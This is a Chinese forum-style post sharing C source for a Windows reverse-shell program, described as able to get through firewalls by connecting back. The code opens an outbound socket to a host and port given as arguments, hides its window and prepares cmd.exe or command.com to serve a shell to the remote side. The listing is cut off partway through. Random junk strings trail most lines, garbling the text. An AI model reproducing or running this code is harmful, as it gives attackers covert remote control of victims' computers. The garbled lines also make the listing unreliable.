这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sId(PT^
~l*?D7[o
/* ============================== E_D ^O
Rebound port in Windows NT ]dbSa1?
By wind,2006/7 0+<eRR9-
===============================*/ 4o4 =
#include 4`U0">gY
#include 24jtJC,7
o!toO&=
#pragma comment(lib,"wsock32.lib") ^>X)"'0+
c@ZS|U*(
void OutputShell(); I' ! r
SOCKET sClient; $ ~,}yh;
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]C
~1]7vb
bH\C5zt6(
void main(int argc,char **argv) mYh5#E41J
{ %`?;V;{=
WSADATA stWsaData; ?)'
2l6
int nRet; 9XoQO 9*Q
SOCKADDR_IN stSaiClient,stSaiServer; ^K.u
~p
phgexAq
if(argc != 3) t`Y!"l
{ 8@%mnyQ
printf("Useage:\n\rRebound DestIP DestPort\n"); N=T.l*8
return; EY)Gi`lK
} a%T -Z.rd
gM3]%L_
WSAStartup(MAKEWORD(2,2),&stWsaData); /$9BPjO{
%/y`<lJz(
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z6^QB@moj
@1qdd~B}
stSaiClient.sin_family = AF_INET; 9:%n=U Rd
stSaiClient.sin_port = htons(0); `D)Lzm R
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,]Ro',A&
}{5mH:
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jWXR__>.
{ %0yS98']g
printf("Bind Socket Failed!\n"); k6O.H
return; I%9bPQ
} 3T|Y}
Ts(t:^
stSaiServer.sin_family = AF_INET; j1puB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -Aa]aDAz68
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /Fe:h>6
`k(u:yGK
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }qiF^D}
{ \9] I#Ih}M
printf("Connect Error!"); X%GD0h]X#
return; s!#HZK
} zb5N,!%r
OutputShell(); Xb]=:x(
} I( ]BMMj
T~%H%O(F
void OutputShell() sn-)(XU!
{ $T?*0"Mj[
char szBuff[1024]; g/8.W
SECURITY_ATTRIBUTES stSecurityAttributes; OGJ=VQA
OSVERSIONINFO stOsversionInfo; Y5ogi)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; iW|s|1mh3
STARTUPINFO stStartupInfo; ge0's+E+1
char *szShell; K8
b+
PROCESS_INFORMATION stProcessInformation; =2
&hQd
unsigned long lBytesRead; Q !9HA[Ly
'lhP!E_)q
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M[aT2A
7L=T]W
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @iU%`=ziz
stSecurityAttributes.lpSecurityDescriptor = 0; .3VK;au\\
stSecurityAttributes.bInheritHandle = TRUE; #>8T*B
r8uqcKfU
PSTu /^
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); t`"^7YFS>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -@''[m .*
=-$!:W~
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^
<qrM
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vd}*_d
stStartupInfo.wShowWindow = SW_HIDE; UvkJ?Bu
stStartupInfo.hStdInput = hReadPipe; V:
^JC>6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aje^Z=]
-uWKY6
:5
GetVersionEx(&stOsversionInfo); cYGRy,'gH
2B7h9P.N B
switch(stOsversionInfo.dwPlatformId) ,e9CJ~a
{ u8Y~_)\MA
case 1: '#v71,
szShell = "command.com"; XQ]`&w(
break; #gh
p/YoTq
default: l8z%\p5cR
szShell = "cmd.exe"; _6;<ow
break; *B0V<mV
} <